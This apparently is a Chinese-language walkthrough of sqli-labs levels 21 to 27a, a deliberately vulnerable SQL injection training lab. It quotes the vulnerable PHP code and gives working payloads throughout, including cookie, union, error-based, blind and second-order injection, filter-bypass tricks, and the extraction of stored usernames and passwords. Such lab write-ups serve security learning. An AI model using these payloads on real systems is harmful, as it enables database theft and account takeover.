Less-21
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
而cookie值的信息也被带入数据库中,所以我们可以在cookie字段尝试注入。
$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
用户名和密码字段均已被check_input函数防护,无法注入。
在输入正确的用户名和密码后,出现Cookie信息,且已被base64加密。那么我们测试的数据也进行同样的加密即可。
传入1’进行测试,可以闭合方式为1’)
爆库
对1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
语句进行base64编码
Less-22
输入1\的base64编码值,得出闭合方式为双引号"
对1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
语句进行base64编码,成功得到当前库名。
Less-23
输入'
发现存在注入,输入id=1''
页面显示正常,但是无论是#还是–+,都没有闭合成功,初步判断是注释符被过滤。
查看源代码,发现是过滤了#和–的注释符:
if(isset($_GET['id'])){
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
但是并没有过滤单引号,故可通过闭合单引号实现绕过
判断显示位: payload:?id=1' and 1=2 union select 1,2,3 or 1='1
查看数据库名: payload: ?id=1' and 1=2 union select 1,database(),3 or 1='1
查询表名:payload: ?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security
查询users表的字段:payload :?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users
获取字段内容:?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users where '1'='1
另一种解法,报错注入:
payload: ?id=1' and 1=2 and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
Less-24
二次注入也被称为存储型注入,就是将可能导致sql 注入的恶意字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。
防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了二次注入。
二次注入步骤
• 第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
• 第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
Less-24解题
-
打开时一个常见的登录页面,此时我们并不知道admin用户密码。
-
注册新用户
admin'#
,密码为123,当然前提是猜测此字段是使用单引号闭合
-
查看源代码,发现注册页面字段中包含的单引号已经被转义:
关于mysql_escape_string()函数的用法:
-
查看数据库中保存的用户名和密码:
-
此时登陆新注册的恶意用户,重置密码为123456
查看源码中更新passwd的代码,发现单引号可以被闭合:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
-
再次查看数据库中的passwd,发现admin用户的passwd已经被更改
Less-25
可以采用双写的方式绕过or、and
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
return $id;
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
判断字段数:payload:?id=1' oorrder by 3--+
查询数据库名:payload:?id=99' union select 1,database(),3--+
查询表名:payload:?id=99' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()--+
Less-25a
数字型且过滤了and,or,同样采用双写关键词可实现绕过。
?id=99 union select 1,username,passwoorrd from users
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
Less-26
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/and/i',"", $id); //过滤 and和or,且不区分大小写
$id= preg_replace('/[\/\*]/',"", $id); //过滤 /*
$id= preg_replace('/[--]/',"", $id); //过滤 --
$id= preg_replace('/[#]/',"", $id); //过滤 #
$id= preg_replace('/[\s]/',"", $id); //过滤 空格
$id= preg_replace('/[\/\\\\]/',"", $id); //过滤 正反斜杠
return $id;
}
尝试使用无空格的报错注入
1.获取数据库名
?id=5'||updatexml(1,concat('$',(database())),0)||'1'='1
2. 获取当前数据库的表名
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like'security'),0x7e),1)||'2'='2
3. 获取users表的字段
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)like'users'),0x7e),1)||'2'='2
4.获取username以及password字段的内容
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(username))from(users)),0x7e),1)||'1'='1
Less-26a
过滤内容与26关相同,但是关闭了报错显示,故尝试无空格的盲注。
1.判断闭合方式,可以看到存在单引号
2. 判断是否存在括号
当存在括号时,where id =( '2' and '1'='1')
回显id为1
当不存在括号时,where id = '2' and '1'='1'
回显id为2
图中回显id为1,故存在括号
3. 判断数据库名长度 ?id=1')%26(length(database())=8)anandd('1
4. 判断数据库名 ?id=1')anandd(substr(database(),1,1)='s')anandd('1
后面依次判断出8位…得出数据库名security
5. 判断出表名长度29:
?id=1')anandd(length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')))=29)anandd('1
6. 判断表名:
?id=1')anandd(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1))=101)anandd('1
使用burp依次跑出表名为emails,referers,uagents,users
7. 判断users表中的字段
id=1')anandd(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')anandd(table_name='users')),1,1))=105)anandd('1
后面依次判断出字段名为id,username,password
8. 获取字段中的内容
id=1')anandd(length((select(group_concat(username,passwoorrd))from(users)))=189)anandd('1
id=1')anandd(ascii(substr((select(group_concat(username,passwoorrd))from(users)),1,1))=68)anandd('1
Less-27
function blacklist($id){
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
可以看到select和union是被过滤了的,但是还是可以通过大小写来绕过。
- 查询数据库名的长度:
?id=1'%26(length(database()))=8%26'1
- 查询数据库名:
?id=1'%26(substr(database(),2,1)='e')%26'1
- 查询表名长度:
?id=1'%26(length((sElect(group_concat(table_name))from(information_schema.tables)where(table_schema='security')))=29)%26'1
Less-27a
?id=1"and(length(database())=8)and"1"="1